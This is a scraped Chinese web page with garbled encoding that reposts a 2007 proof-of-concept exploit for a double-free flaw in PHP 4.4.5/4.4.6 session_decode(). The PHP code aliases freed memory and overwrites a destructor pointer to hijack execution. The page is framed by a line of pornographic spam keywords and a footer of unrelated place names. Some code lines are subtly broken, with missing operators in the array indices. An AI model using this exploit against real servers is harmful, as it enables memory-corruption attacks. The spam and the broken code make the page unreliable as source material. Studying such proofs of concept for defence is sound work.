最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC

互聯(lián)網(wǎng)   發(fā)布時間:2008-10-08 21:03:45   作者:佚名   我要評論
<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ | || || _ //
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability //
//////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE"); ini_set("session.serialize_handler", "php");
session_start(); $varname = str_repeat("D", 39);
$$varname = &$_SESSION; // Trigger the double free

session_decode($varname.'|i:0;');
$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
$_________________a = array("OneElement"); // Now x and a point to the same memory. Therefore x can be used to modify a // Overwrite pointer to the destructor
$_________________x[8*4 0] = chr(0x55);
$_________________x[8*4 1] = chr(0x66);
$_________________x[8*4 2] = chr(0x77);
$_________________x[8*4 3] = chr(0x88);

// Trigger the destruction
unset($_________________a);
?>

相關(guān)文章

最新評論

巫溪县| 稻城县| 罗定市| 龙南县| 阆中市| 安溪县| 遂川县| 高唐县| 清原| 石柱| 华容县| 满洲里市| 乐都县| 丰县| 西峡县| 类乌齐县| 和平县| 遂溪县| 资源县| 平顶山市| 张掖市| 从江县| 莒南县| 滨州市| 巴里| 富源县| 巴林右旗| 济宁市| 泰顺县| 吉安县| 聊城市| 政和县| 静乐县| 务川| 台前县| 舞钢市| 桦南县| 抚松县| 重庆市| 龙井市| 扶绥县|